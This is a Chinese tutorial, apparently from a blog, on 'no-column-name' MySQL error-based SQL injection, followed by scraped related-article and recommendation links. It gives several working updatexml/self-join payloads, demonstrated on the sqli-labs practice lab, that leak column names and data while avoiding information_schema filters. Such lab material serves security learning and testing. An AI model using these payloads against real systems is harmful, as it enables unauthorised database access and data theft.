mysql无列名注入
0x00 原理
mysql无列名注入是报错注入的一个变种,前提是已知表名,但是不知道列名,或者只知道部分列名,可通过报错注入拼接查询自身表,当自表被拼接时,由于存在重复属性列,会将列信息报错返回,这样我们就能知道表中的列名,再select 列名 from 表名 可直接查询出对应的数据。
0x01 注入方法
这里使用sqlilabs-1来演示。
0x01.1 使用union进行无列名注入
前提条件是我们知道sqlilabs 有 security 数据库 emails 数据表 但我们不知道列名是什么。
爆第一个列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b)c),0x7e),1)--+

爆第二个列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+
using(id)的意思是将表通过id进行拼接,也就是说拼接两张都含有id的表,其他表中属性进行并运算拼接,如果出现重复属性则报错。

尝试爆第三列
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id,email_id))c),0x7e),1)--+

虽然提示 Operand should contain 1 column(s) , 其实已经查询失败了。
对爆出的email_id列进行查询
payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws('|',id,email_id) from emails limit 0,1),0x7e),1)--+

payload: ?id=1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails limit 0,1),0x7e),1)--+

0x01.2 不使用union进行无列名注入
爆第一个列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b)c),0x7e),1)--+

出了 id 列
爆第一个列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+

出了email_id列
查询和使用union的一样。
0x02 总结
这种注入方式在使用正则表达式过滤了information_schema.tables,information_schema.columns等常规注入查询系统表或者过滤了table_name,column_name时非常有效!
mysql无列名注入的更多相关文章
- BUUCTF-web web1 (无列名注入)
		注册并登录后发现,sql注入,注入点在广告申请的界面.加单引号发现报错 先通过insert插入数据,然后再通过id查询相应的数据,所以是二次注入. 常见报错函数updatexml,floor以及ext ... 
- Sql 中的as是什么意思 + 无列名注入解析
		相当于取别名 这里结合一下无列名注入的知识点: 这种方法在第十届SWPUCTF的web1——广告招租里考到了: 
- swpuCTF2019 web1 无列名注入
		上周参加的swpuctf比赛第一道web题做了好久,在最后一个小时用非预期的方法做出来了,看了官方题解之后记录一下wp里面的无列名注入. 关于无列名注入可以看一下这篇链接 https://www.ch ... 
- [GYCTF2020]Ezsqli   无列名注入
		手工注入了几下,是数字注入,过滤了 or , union 输入1||1=1 回显Nu1L 再输入 1&&(ascii(substr(database(),1,1))>32)# ... 
- SQL注入之MySQL报错注入整理
		看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ... 
- 十种MYSQL显错注入原理讲解(二)
		上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ... 
- 十种MYSQL显错注入原理讲解(一)
		开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ... 
- mysql修改列名和列类型
		MySQL中修改列名或列的数据类型 (2012-04-03 08:59:25) 转载▼ 标签: mysql 修改列名 修改列数据类型 it 分类: 数据库 参考下面链接中的语法 http://dev. ... 
- Mysql报错注入原理分析(count()、rand()、group by)
		Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ... 
随机推荐
- 微服务面试必问的Dubbo,这么详细还怕自己找不到工作?
			大家好,我是小羽. Dubbo 起源于阿里巴巴,对于我们做电商开发的人来说,基本是首选的技术,那么为何一个区区 soa 服务治理框架,会受到这么多人的青睐呢? 今天就跟着小羽一起看看这个微服务框架之一 ... 
- java连接sql server--关于登录验证及对数据库增删改查应用
			一:步骤## 1.sql server建立数据库和相关表 2.建立数据源 (1).打开控制面板找到管理,打开ODBC选项或直接搜索数据源 (2).打开数据源配置后点击添加,选择sql server ... 
- K8S 本地 配置 Local PV 实践
			上面我们创建了后端是 hostPath 类型的 PV 资源对象,我们也提到了,使用 hostPath 有一个局限性就是,我们的 Pod 不能随便漂移,需要固定到一个节点上,因为一旦漂移到其他节点上去了 ... 
- istio: 无法提供内部访问外部服务
			现象 能够内部无法访问外部服务. 在部署测试服务 kubectl apply -f samples/sleep/sleep.yaml 设置环境变量 export SOURCE_POD=$(kubect ... 
- 浏览ASP.NET网页(6)
			当我们搭建好了IIS后,就不需要开发工具进行编译打开网站啦,我们可以在IIS下进行预览,如图所示: 需要注意的是,网页的后缀名是.aspx,不是.cs 
- [.net] 关于Exception的几点思考和在项目中的使用(二)
			本文链接: https://www.cnblogs.com/hubaijia/p/about-exceptions-2.html 系列文章: 关于Exception的几点思考和在项目中的使用(一) 关 ... 
- Sqlmap的基础用法(禁止用于非法用途,测试请自己搭建靶机)
			禁止用于非法用途,测试与学习请自己搭建靶机 sqlmap -r http.txt #http.txt是我们抓取的http的请求包 sqlmap -r http.txt -p username #指 ... 
- 【Linux】关于Linux的系统编程总结
			作者:李春港 出处:https://www.cnblogs.com/lcgbk/p/14673383.html 目录 系统编程 (一)进程 1.进程的概念 2.进程函数接口 (1)fork()在进程内 ... 
- SimpleDateFormat一定是线程不安全吗?
			今天一位优秀的架构师告诉我,下面这段代码SimpleDateFormat是线程不安全的. /** * 将Date按格式转化成String * * @param date Date对象 * @param ... 
- ForkJoinPool的工作原理和使用
			场景:当任务很多,成千上万个,或者单个任务很大,执行起来很耗时间,这时,就可以把任务进行拆分,拆分成多个小任务去执行,然后小任务执行完毕后再把每个小任务执行的结果合并起来,这样就可以节省时间. For ... 
